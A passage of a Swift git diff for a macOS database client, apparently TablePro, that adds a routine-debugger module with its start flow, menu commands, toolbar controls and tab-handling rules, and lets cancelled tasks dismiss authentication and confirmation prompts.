controllers.filter { !$0.hasEnded } + guard !live.isEmpty else { return } + for controller in live { + controller.stop(by: deadline) + } + let finished = await deadline.wait { + for controller in live { + await controller.waitUntilEnded() + } + } + if !finished { + Self.logger.warning("Debug sessions still stopping at their deadline; continuing without them") + } + } + + // MARK: - Module + + // Observed only while a run or a setup exists, so an off module leaves no observer behind. + private func observeModuleIfNeeded() { + guard moduleObserver == nil else { return } + moduleObserver = notificationCenter.addObserver( + forName: .appModulesDidChange, + object: nil, + queue: .main + ) { [weak self] _ in + MainActor.assumeIsolated { + self?.moduleDidChange() + } + } + } + + private func stopObservingIfIdle() { + guard entries.isEmpty, ending.isEmpty, pendingSetups.isEmpty, let moduleObserver else { return } + notificationCenter.removeObserver(moduleObserver) + self.moduleObserver = nil + } + + private func moduleDidChange() { + guard !isModuleEnabled() else { return } + let setups = Array(pendingSetups.values) + pendingSetups.removeAll() + for setup in setups { + setup.cancel() + } + for coordinator in MainContentCoordinator.activeCoordinators.values { + coordinator.closeRoutineDebugTabs() + } + endSessions(forTabs: Array(entries.keys)) + } +} diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift new file mode 100644 index 0000000000..b3b4217b8a --- /dev/null +++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift @@ -0,0 +1,82 @@ +// +// RoutineDebugStartFlow.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +// One pending way into a debug run: the chooser, the start sheet, or a preparation alert. Cancelling it, as turning the +// module off does, answers whatever is on screen as declined and stops the flow at its next step. +@MainActor +internal final class RoutineDebugSetup { + private(set) var isCancelled = false + var dismissPresentation: (@MainActor () -> Void)? + + func cancel() { + guard !isCancelled else { return } + isCancelled = true + let dismiss = dismissPresentation + dismissPresentation = nil + dismiss?() + } +} + +// A routine and the database and schema it was chosen in, frozen at that moment: an oid or an owner-qualified name only +// means something there, and another window can move this connection's browse database while a sheet is up. +internal struct RoutineDebugPick: Sendable, Equatable { + let target: PluginDebugTarget + let scope: DatabaseScope + + // A chooser lists one database and schema: the pick keeps that database and the routine's own schema. + init(_ target: PluginDebugTarget, listedIn listed: DatabaseScope) { + self.target = target + self.scope = DatabaseScope( + connectionId: listed.connectionId, + database: listed.database, + schema: target.schema ?? listed.schema + ) + } + + init(target: PluginDebugTarget, scope: DatabaseScope) { + self.target = target + self.scope = scope + } +} + +// From a chosen routine to an open debug tab. Every step that reads the database or shows something asks first +// whether the module is still on and the setup still wanted, because each one can wait on the person for a while. +@MainActor +internal struct RoutineDebugStartFlow { + var isModuleEnabled: @MainActor () -> Bool + var prepare: @MainActor (RoutineDebugPick) async throws -> PluginDebugPlan + var presentStartSheet: @MainActor (PluginDebugPlan, RoutineDebugSetup) async -> RoutineDebugStartChoice? + var reportFailure: @MainActor (PluginDebugTarget, any Error) -> Void + var open: @MainActor (PluginDebugPlan, RoutineDebugStartChoice, DatabaseScope) -> Void + + func choose( + setup: RoutineDebugSetup, + presentChooser: @MainActor (RoutineDebugSetup) async -> RoutineDebugPick? + ) async { + guard proceeds(setup), let pick = await presentChooser(setup) else { return } + await run(pick, setup: setup) + } + + func run(_ pick: RoutineDebugPick, setup: RoutineDebugSetup) async { + guard proceeds(setup) else { return } + let plan: PluginDebugPlan + do { + plan = try await prepare(pick) + } catch { + guard proceeds(setup) else { return } + reportFailure(pick.target, error) + return + } + guard proceeds(setup), let choice = await presentStartSheet(plan, setup), proceeds(setup) else { return } + open(plan, choice, pick.scope) + } + + private func proceeds(_ setup: RoutineDebugSetup) -> Bool { + !setup.isCancelled && isModuleEnabled() + } +} diff --git a/apple/TablePro/Core/Scripting/ScriptEnumerations.swift b/apple/TablePro/Core/Scripting/ScriptEnumerations.swift index ba71e21420..98af280154 100644 --- a/apple/TablePro/Core/Scripting/ScriptEnumerations.swift +++ b/apple/TablePro/Core/Scripting/ScriptEnumerations.swift @@ -32,7 +32,8 @@ internal enum ScriptEnumerations { } } - internal static func code(for tabType: TabType) -> FourCharCode { + // Nil for a tab scripts never see: a debug tab belongs to a module, which adds no AppleScript surface. + internal static func code(for tabType: TabType) -> FourCharCode? { switch tabType { case .query: fourCharCode("TPk1") case .table: fourCharCode("TPk2") @@ -44,6 +45,7 @@ internal enum ScriptEnumerations { case .objectSource: fourCharCode("TPk8") case .versionHistory: fourCharCode("TPk9") case .tableListing: fourCharCode("TPkl") + case .routineDebug: nil } } diff --git a/apple/TablePro/Core/Scripting/ScriptTab.swift b/apple/TablePro/Core/Scripting/ScriptTab.swift index 42282cb8f3..3ff2d77e6a 100644 --- a/apple/TablePro/Core/Scripting/ScriptTab.swift +++ b/apple/TablePro/Core/Scripting/ScriptTab.swift @@ -29,12 +29,13 @@ internal final class ScriptTab: NSObject, ScriptCommandReceiving { /// `objectSpecifier`, which Cocoa calls without any isolation of its own. private let container: ScriptingBox - internal init(tab: QueryTab, connectionId: UUID, container: NSScriptObjectSpecifier?) { + internal init?(tab: QueryTab, connectionId: UUID, container: NSScriptObjectSpecifier?) { + guard let kind = ScriptEnumerations.code(for: tab.tabType) else { return nil } self.tabId = tab.id self.connectionId = connectionId self.uniqueId = tab.id.uuidString self.name = tab.title - self.kind = ScriptEnumerations.code(for: tab.tabType) + self.kind = kind self.tableName = tab.tableContext.tableName self.databaseName = tab.tableContext.databaseName.isEmpty ? nil : tab.tableContext.databaseName self.schemaName = tab.tableContext.schemaName diff --git a/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift b/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift index fb798aa997..13b8df1972 100644 --- a/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift +++ b/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift @@ -39,7 +39,7 @@ internal enum ScriptingSnapshot { guard isVisibleToScripts(connectionId: connectionId) else { return [] } let container = ScriptingSpecifiers.connection(uniqueId: connectionId.uuidString) return coordinators(forConnection: connectionId).flatMap { coordinator in - coordinator.tabManager.tabs.map { + coordinator.tabManager.tabs.compactMap { ScriptTab(tab: $0, connectionId: connectionId, container: container) } } diff --git a/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift b/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift index 020c216a08..26314a7da9 100644 --- a/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift +++ b/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift @@ -14,9 +14,14 @@ internal struct BiometricOperationAuthenticating: OperationAuthenticating { private static let logger = Logger(subsystem: "com.TablePro", category: "ExecutionGate") func authenticate(reason: String) async -> Bool { - let context = LAContext() + // A caller that gives up invalidates the context, which cancels the evaluation and dismisses its prompt. + nonisolated(unsafe) let context = LAContext() do { - return try await context.evaluatePolicy(.deviceOwnerAuthentication, localizedReason: reason) + return try await withTaskCancellationHandler { + try await context.evaluatePolicy(.deviceOwnerAuthentication, localizedReason: reason) + } onCancel: { + context.invalidate() + } } catch { Self.logger.warning("Biometric authentication failed: \(error.publicLogShape, privacy: .public)") return false diff --git a/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift b/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift index a9b20f2aa9..eab4eb4f42 100644 --- a/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift +++ b/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift @@ -104,9 +104,16 @@ internal struct AlertOperationConfirming: OperationConfirming { preferring: NSApp.keyWindow ).map(Self.frontmostSheet(of:)) + guard !Task.isCancelled else { return false } guard let statement = OperationConfirmationPrompt.statement(of: request) else { let alert = OperationConfirmationPrompt.makeAlert(for: request) - return await AlertHelper.response(to: alert, in: window) == .alertFirstButtonReturn + let withdrawal = AlertWithdrawal(alert) + // A caller that gives up (a debug run stopped while it waits) takes the alert down as Cancel. + return await withTaskCancellationHandler { + await AlertHelper.response(to: alert, in: window) == .alertFirstButtonReturn + } onCancel: { + withdrawal.withdraw() + } } return await AlertHelper.runStatementConfirmation( @@ -132,3 +139,23 @@ internal struct AlertOperationConfirming: OperationConfirming { return frontmost } } + +// Lets a cancellation, which can arrive on any thread, answer an alert on the main actor. +private final class AlertWithdrawal: @unchecked Sendable { + private weak var alert: NSAlert? + + init(_ alert: NSAlert) { + self.alert = alert + } + + func withdraw() { + Task { @MainActor [weak alert] in + guard let alert else { return } + if let parent = alert.window.sheetParent { + parent.endSheet(alert.window, returnCode: .cancel) + } else if NSApp.modalWindow === alert.window { + NSApp.stopModal(withCode: .cancel) + } + } + } +} diff --git a/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift b/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift index 872a5337c6..850d679e24 100644 --- a/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift +++ b/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift @@ -5,28 +5,22 @@ import Foundation -/// Whether a tab may be moved into a window of its own, kept apart from the window machinery so -/// the rule can be tested without one. -/// -/// The rule is narrow on purpose. Detaching moves a `QueryTab`, which carries what is persisted; -/// it does not carry a coordinator's live edit state, so a tab with work that has not been written -/// yet would arrive in the new window with that work silently gone. Refusing is the honest answer, -/// and the same one the strip gives for a reorder it cannot complete: the command dims rather than -/// destroying something quietly. +// Whether a tab may move into a window of its own. Detaching carries the `QueryTab` and nothing the coordinator +// holds beside it, so anything that would be lost or left behind refuses rather than moving quietly. internal enum EditorTabDetachPolicy { internal static func canDetach( + tabType: TabType, tabCount: Int, hasUnsavedWork: Bool, isBusy: Bool, isConnected: Bool ) -> Bool { - /// The last tab has nowhere to go. Moving it would empty this window and fill an identical - /// one, which is what `Move Connection to New Window` already does and says. + // A debug run's prompts and its close on a declined start act on the coordinator that opened it. + guard tabType != .routineDebug else { return false } + // Moving the last tab is Move Connection to New Window. guard tabCount > 1 else { return false } guard !hasUnsavedWork else { return false } - /// A query or a table load in flight is claimed by the coordinator that started it. Moving - /// the tab out from under one leaves the completion with no tab to write into and the new - /// window with no claim, so it fetches the same page again. + // The completion of a query or table load in flight would find no tab, and the new window would fetch again. guard !isBusy else { return false } return isConnected } diff --git a/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift b/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift index 0e7719819a..ff7903361e 100644 --- a/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift +++ b/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift @@ -108,6 +108,9 @@ internal enum EditorTabOpener { databaseName: payload.databaseName ?? openingDatabaseName, schemaName: payload.schemaName ) + case .routineDebug: + // A payload cannot carry a live session; the coordinator opens debug tabs itself. + return } } diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift new file mode 100644 index 0000000000..db9fe8340e --- /dev/null +++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift @@ -0,0 +1,86 @@ +import AppKit +import TableProPluginKit + +struct RoutineDebugMenuState: Equatable { + var canChooseRoutine = false + var performableCommands: Set = [] + var canStop = false + // The debug tab in front has source on screen with a caret, and is not ending. + var canToggleBreakpoint = false + var canRemoveAllBreakpoints = false +} + +extension MainSplitViewController { + static let routineDebugSelectors: Set = [ + #selector(chooseRoutineToDebug(_:)), + #selector(debugContinue(_:)), + #selector(debugStepOver(_:)), + #selector(debugStepInto(_:)), + #selector(debugStepOut(_:)), + #selector(debugStop(_:)), + #selector(toggleBreakpoint(_:)), + #selector(removeAllBreakpoints(_:)), + ] + + @objc func chooseRoutineToDebug(_ sender: Any?) { + guard let coordinator = routineDebugCoordinator, coordinator.canChooseRoutineToDebug() else { return } + coordinator.chooseRoutineToDebug() + } + + @objc func debugContinue(_ sender: Any?) { + performDebugCommand(.continueExecution) + } + + @objc func debugStepOver(_ sender: Any?) { + performDebugCommand(.stepOver) + } + + @objc func debugStepInto(_ sender: Any?) { + performDebugCommand(.stepInto) + } + + @objc func debugStepOut(_ sender: Any?) { + performDebugCommand(.stepOut) + } + + @objc func debugStop(_ sender: Any?) { + guard let controller = frontRoutineDebugController, controller.canStop else { return } + controller.stop() + } + + @objc func toggleBreakpoint(_ sender: Any?) { + frontRoutineDebugController?.toggleBreakpointAtCursor() + } + + @objc func removeAllBreakpoints(_ sender: Any?) { + guard let controller = frontRoutineDebugController, controller.canRemoveAllBreakpoints else { return } + controller.removeAllBreakpoints() + } + + var routineDebugMenuState: RoutineDebugMenuState { + guard let coordinator = routineDebugCoordinator else { return RoutineDebugMenuState() } + var state = RoutineDebugMenuState(canChooseRoutine: coordinator.canChooseRoutineToDebug()) + guard let controller = coordinator.frontRoutineDebugController else { return state } + let commands: [PluginDebugCommand] = [.continueExecution, .stepOver, .stepInto, .stepOut] + state.performableCommands = Set(commands.filter { controller.canPerform($0) }) + state.canStop = controller.canStop + state.canToggleBreakpoint = controller.canToggleBreakpoint + state.canRemoveAllBreakpoints = controller.canRemoveAllBreakpoints + return state + } + + // Nil while the module is off, so no command reaches the debugger's code. + private var routineDebugCoordinator: MainContentCoordinator? { + guard AppModuleSettings.shared.isEnabled(.routineDebugger) else { return nil } + return commandActions?.coordinator + } + + private var frontRoutineDebugController: RoutineDebugController? { + routineDebugCoordinator?.frontRoutineDebugController + } + + private func performDebugCommand(_ command: PluginDebugCommand) { + guard let controller = frontRoutineDebugController, controller.canPerform(command) else { return } + controller.perform(command) + } +} diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift index 94cef339a1..df49ca366a 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift @@ -4,6 +4,7 @@ // import AppKit +import TableProPluginKit // A plain value keeps `isEnabled` pure and testable, the same split `ToolbarContextResolver` uses for the toolbar. struct MenuValidationContext: Equatable { @@ -125,6 +126,8 @@ struct MenuValidationContext: Equatable { var hasDatabaseFilter = false var canFilterSchemas = false var hasSchemaFilter = false + // Filled only when a Debug menu item is validated; the menu exists only while the module is on. + var routineDebug = RoutineDebugMenuState() // The validation and the window's handler both read it, so a lit Use Selection for Find never lands on an editor with no selection. var usesGridSelectionForFind: Bool { @@ -140,6 +143,7 @@ extension MainSplitViewController: NSMenuItemValidation { if let query = isQueryCommandEnabled(selector, context: context) { return query } if let chooser = isContainerCommandEnabled(selector, context: context) { return chooser } if let creation = isCreationCommandEnabled(selector, context: context) { return creation } + if let debug = isRoutineDebugCommandEnabled(selector, context: context) { return debug } switch selector { case #selector(exportTables(_:)), @@ -326,6 +330,27 @@ extension MainSplitViewController: NSMenuItemValidation { } } + // Agent mode does not draw the debug tab these act on. + private static func isRoutineDebugCommandEnabled( + _ selector: Selector, + context: MenuValidationContext + ) -> Bool? { + guard routineDebugSelectors.contains(selector) else { return nil } + guard !context.isAgentMode else { return false } + let debug = context.routineDebug + switch selector { + case #selector(chooseRoutineToDebug(_:)): return context.isConnected && debug.canChooseRoutine + case #selector(debugContinue(_:)): return debug.performableCommands.contains(.continueExecution) + case #selector(debugStepOver(_:)): return debug.performableCommands.contains(.stepOver) + case #selector(debugStepInto(_:)): return debug.performableCommands.contains(.stepInto) + case #selector(debugStepOut(_:)): return debug.performableCommands.contains(.stepOut) + case #selector(debugStop(_:)): return debug.canStop + case #selector(toggleBreakpoint(_:)): return debug.canToggleBreakpoint + case #selector(removeAllBreakpoints(_:)): return debug.canRemoveAllBreakpoints + default: return false + } + } + // The sidebar's add button sends these too. New Folder records local state only, so read-only does not dim it. private static func isCreationCommandEnabled( _ selector: Selector, @@ -651,6 +676,9 @@ extension MainSplitViewController: NSMenuItemValidation { if action == #selector(selectNumberedTab(_:)) { context.requestedTabNumber = menuItem.tag } + if Self.routineDebugSelectors.contains(action) { + context.routineDebug = routineDebugMenuState + } guard Self.agentSessionSelectors.contains(action) else { return context } context.agentSessionTarget = agentSessionTarget(for: menuItem)?.status return context diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift index 09b4329423..a77ad56643 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift @@ -213,6 +213,8 @@ internal extension MainSplitViewController { return "clock.arrow.circlepath" case .tableListing: return "list.bullet.rectangle" + case .routineDebug: + return "ladybug" } } } diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift index 38be9092cd..06e7a84ac3 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift @@ -157,22 +157,16 @@ internal extension MainSplitViewController { }, canTearOff: { [weak workspace] id in guard let workspace, - let sessionState = workspace.sessionState + let sessionState = workspace.sessionState, + let tab = sessionState.tabManager.tabs.first(where: { $0.id == id }) else { return false } return EditorTabDetachPolicy.canDetach( + tabType: tab.tabType, tabCount: sessionState.tabManager.tabs.count, hasUnsavedWork: sessionState.coordinator.hasUnsavedWork(forTab: id), - /// `isBusy`, never `isExecuting`. Work that cannot claim the tab still runs on - /// it: Fetch All registers unclaimed work, and an exact row count lives in the - /// tab's own pagination state. Moving a tab in either of those leaves the - /// copied `isLoadingMore` or `isCountingExact` raised in the new window with - /// the completion still owned by the old one, so it never comes down. - isBusy: sessionState.coordinator.tabExecution.isBusy(id) - || sessionState.tabManager.tabs.first { $0.id == id }?.pagination.isBusy == true, - /// `reportedStatus`, never the driver handle. An installed driver is a handle, - /// not a live connection: it stays put through a reconnect and after the health - /// monitor gives up, so reading it moved tabs into windows that could not use - /// them. + // Not `isExecuting`: Fetch All and an exact row count run on the tab without claiming it. + isBusy: sessionState.coordinator.tabExecution.isBusy(id) || tab.pagination.isBusy, + // Not the driver handle, which stays installed through a reconnect and after the monitor gives up. isConnected: DatabaseManager.shared.activeSessions[workspace.connectionId]? .reportedStatus.isConnected == true ) diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift index 7b74595818..041c30a137 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift @@ -523,6 +523,7 @@ internal final class MainSplitViewController: NSSplitViewController { owner.repoint(to: coordinator) guard window.toolbar !== owner.managedToolbar else { return } window.toolbar = owner.managedToolbar + owner.reconcileDebugItems() /// The item set every window starts from is the full one, because `isHidden` is never /// persisted, so the context is applied the moment the items exist rather than on the first /// change to it. Measured on macOS 27, that moment is this assignment: `NSToolbar.items` is @@ -1386,7 +1387,7 @@ internal final class MainSplitViewController: NSSplitViewController { case .usersRoles: return UsersRolesLayoutMetrics.tabMinimumWidth case .query, .table, .createTable, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, - .tableListing: + .tableListing, .routineDebug: return defaultDetailMinThickness } } diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift index 33e6f4111b..88b2140121 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift @@ -5,6 +5,7 @@ import AppKit import Combine +import TableProPluginKit extension MainWindowToolbar { /// Straight to the window, because the switcher is the window's. Every other item here needs @@ -66,6 +67,26 @@ extension MainWindowToolbar { coordinator?.commandActions?.exportTables() } + @objc func performDebugContinue(_ sender: Any?) { + coordinator?.frontRoutineDebugController?.perform(.continueExecution) + } + + @objc func performDebugStepOver(_ sender: Any?) { + coordinator?.frontRoutineDebugController?.perform(.stepOver) + } + + @objc func performDebugStepInto(_ sender: Any?) { + coordinator?.frontRoutineDebugController?.perform(.stepInto) + } + + @objc func performDebugStepOut(_ sender: Any?) { + coordinator?.frontRoutineDebugController?.perform(.stepOut) + } + + @objc func performDebugStop(_ sender: Any?) { + coordinator?.frontRoutineDebugController?.stop() + } + /// The Inspector item on macOS 13, forwarded because the action belongs to the split controller /// and a toolbar item's explicit target has to respond to its own selector to validate. @objc func forwardToggleInspector(_ sender: Any?) { diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift index d1cbd18cba..904d5d0c84 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift @@ -46,7 +46,8 @@ internal extension MainWindowToolbar { supportsServerDashboard: databaseType.map { ServerDashboardQueryProviderFactory.supportsDashboard(for: $0) } ?? false, isAIEnabled: AppSettingsManager.shared.ai.enabled, - stagesObjectChanges: tab?.tabType == .objectSource && tab?.display.objectRef?.kind == .userType + stagesObjectChanges: tab?.tabType == .objectSource && tab?.display.objectRef?.kind == .userType, + showsDebugItems: debugItemsEnabled() ) } @@ -58,6 +59,7 @@ internal extension MainWindowToolbar { func currentContext() -> ToolbarContext { let host = self.host let state = coordinator?.toolbarState + let debugger = (host?.contentMode ?? .browse) == .browse ? coordinator?.frontRoutineDebugController : nil return ToolbarContext( key: currentVisibilityKey(), pane: host?.currentPane ?? .empty, @@ -70,7 +72,11 @@ internal extension MainWindowToolbar { canAddRow: coordinator?.canAddRow ?? false, canRestorePreviousValues: coordinator?.canRewindSelectedTab ?? false, canNavigateBack: coordinator?.canNavigateBack ?? false, - canNavigateForward: coordinator?.canNavigateForward ?? false + canNavigateForward: coordinator?.canNavigateForward ?? false, + debugCommands: debugger.map { controller in + Set(PluginDebugCommand.hostCommands.filter { controller.canPerform($0) }) + } ?? [], + canStopDebugging: debugger?.canStop ?? false ) } } diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift index 61ff054a90..004adfc3e4 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift @@ -126,6 +126,10 @@ extension MainWindowToolbar { return makeNewTabItem() case Self.quickSwitcher: return makeQuickSwitcherItem() + case Self.debugContinue, Self.debugStepOver, Self.debugStepInto, Self.debugStepOut, Self.debugStop: + // Answering nil while the module is off is what prunes the controls from a saved arrangement. + guard debugItemsEnabled() else { return nil } + return makeDebugItem(itemIdentifier) default: return nil } diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift index 2f1a2f296b..57800ec5ea 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift @@ -286,6 +286,53 @@ extension MainWindowToolbar { return item } + func makeDebugItem(_ identifier: NSToolbarItem.Identifier) -> NSToolbarItem? { + switch identifier { + case Self.debugContinue: + return menuOnlyItem( + id: identifier, + label: String(localized: "Continue"), + symbol: "play", + action: #selector(performDebugContinue(_:)), + shortcut: .debugContinue + ) + case Self.debugStepOver: + return menuOnlyItem( + id: identifier, + label: String(localized: "Step Over"), + symbol: "arrow.uturn.forward", + action: #selector(performDebugStepOver(_:)), + shortcut: .debugStepOver + ) + case Self.debugStepInto: + return menuOnlyItem( + id: identifier, + label: String(localized: "Step Into"), + symbol: "arrow.down.to.line", + action: #selector(performDebugStepInto(_:)), + shortcut: .debugStepInto + ) + case Self.debugStepOut: + return menuOnlyItem( + id: identifier, + label: String(localized: "Step Out"), + symbol: "arrow.up.to.line", + action: #selector(performDebugStepOut(_:)), + shortcut: .debugStepOut + ) + case Self.debugStop: + return menuOnlyItem( + id: identifier, + label: String(localized: "Stop"), + symbol: "stop", + action: #selector(performDebugStop(_:)), + description: String(localized: "Stop Debugging") + ) + default: + return nil + } + } + // MARK: - Helpers /// The label is what the customization palette and the overflow menu show, so it stays short. diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift index 714e89c20f..be3598b496 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift @@ -83,6 +83,13 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { /// Coalesces the passes Customize Toolbar asks for, so a drop of several items is one pass. private var isVisibilityReapplyScheduled = false + // Whether the Routine Debugger module is on; its controls are vended only then, so turning it off prunes them. + internal var debugItemsEnabled: @MainActor () -> Bool = { + AppModuleSettings.shared.isEnabled(.routineDebugger) + } + + internal var debugItemsRecord = ToolbarDebugItemsRecord() + /// `NSMenu.delegate` is weak, and the safe-mode control's menu is built here rather than by the /// menu bar, so this toolbar is what keeps its delegate alive. internal let safeModeMenuDelegate = SafeModeMenuDelegate() @@ -350,7 +357,8 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { internal func apply(_ visibility: ToolbarVisibility) { guard #available(macOS 15.0, *) else { return } self.visibility = visibility - for item in managedToolbar.items where ToolbarContextResolver.hideableIdentifiers.contains(item.itemIdentifier) { + let hideable = ToolbarContextResolver.hideableItems(showsDebugItems: debugItemsEnabled()) + for item in managedToolbar.items where hideable.contains(item.itemIdentifier) { item.isHidden = visibility.hides(item.itemIdentifier) } managedToolbar.validateVisibleItems() @@ -408,6 +416,16 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { /// The pull-down that carries the long tail of a context's commands. One control whose menu /// changes with the tab, instead of one permanent titlebar slot per command. nonisolated static let actions = NSToolbarItem.Identifier("com.TablePro.toolbar.actions") + nonisolated static let debugContinue = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.continue") + nonisolated static let debugStepOver = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stepOver") + nonisolated static let debugStepInto = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stepInto") + nonisolated static let debugStepOut = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stepOut") + nonisolated static let debugStop = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stop") + nonisolated static let debugItemIdentifiers: [NSToolbarItem.Identifier] = [ + debugContinue, debugStepOver, debugStepInto, debugStepOut, debugStop, + ] + // Xcode's pair. The steps live in the debug tab's own bar and the palette, which keeps a debug tab at eight hit targets. + nonisolated static let debugDefaultItemIdentifiers: [NSToolbarItem.Identifier] = [debugContinue, debugStop] // MARK: - NSToolbarDelegate @@ -486,11 +504,77 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { quickSwitcher, ] + // Ahead of the Actions pull-down, in the content run Refresh and the commit control leave empty on a debug tab. + nonisolated internal static func defaultItems(includingDebugItems: Bool) -> [NSToolbarItem.Identifier] { + let items = defaultItemIdentifiers + guard includingDebugItems, let index = items.firstIndex(of: actions) else { return items } + return Array(items[.. [NSToolbarItem.Identifier] { - Self.defaultItemIdentifiers + Self.defaultItems(includingDebugItems: debugItemsEnabled()) } internal func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { - Self.allowedItemIdentifiers + debugItemsEnabled() ? Self.allowedItemIdentifiers + Self.debugItemIdentifiers : Self.allowedItemIdentifiers + } + + // Replaced under test, where no window hosts the toolbar. + internal var isInWindow: @MainActor () -> Bool = { false } + + // Pushed by the one writer of a module's state, so no toolbar listens for module changes while the module is off. + internal static func applyModuleChange() { + for window in NSApp.windows { + guard let owner = window.toolbar?.delegate as? MainWindowToolbar else { continue } + owner.reconcileDebugItems() + owner.refreshContext(forcing: true) + } + } + + // Run when the module changes and when the toolbar reaches a window, after it restored its saved arrangement: a + // change made while no connection window was open would otherwise never reach the arrangement. Inserted or removed + // in place, because reassigning the toolbar rebuilds the whole titlebar. + internal func reconcileDebugItems() { + guard windowController?.view.window != nil || isInWindow() else { return } + let wanted = debugItemsEnabled() + guard debugItemsRecord.isApplied != wanted else { return } + debugItemsRecord.record(wanted) + let debugIdentifiers = Set(Self.debugItemIdentifiers) + if wanted { + let present = managedToolbar.items.contains { debugIdentifiers.contains($0.itemIdentifier) } + if !present, let index = managedToolbar.items.firstIndex(where: { $0.itemIdentifier == Self.actions }) { + for (offset, identifier) in Self.debugDefaultItemIdentifiers.enumerated() { + managedToolbar.insertItem(withItemIdentifier: identifier, at: index + offset) + } + } + } else { + for index in managedToolbar.items.indices.reversed() + where debugIdentifiers.contains(managedToolbar.items[index].itemIdentifier) { + managedToolbar.removeItem(at: index) + } + } + } +} + +// The module state last written into the shared arrangement. Toolbars sharing an identifier copy each other's edits, so +// a change is written once, by the first toolbar in a window to see it, and a person who then removes the pair keeps it +// removed. Kept beside the arrangement, in the domain AppKit autosaves it to, so it outlives the launch: a module turned on +// before any connection window opened still reaches a customized arrangement. Missing reads as off, which is what an +// arrangement saved before the module existed holds. +internal struct ToolbarDebugItemsRecord { + static let key = "com.TablePro.main.toolbar.v4.debugItems" + + let defaults: UserDefaults + + init(defaults: UserDefaults = 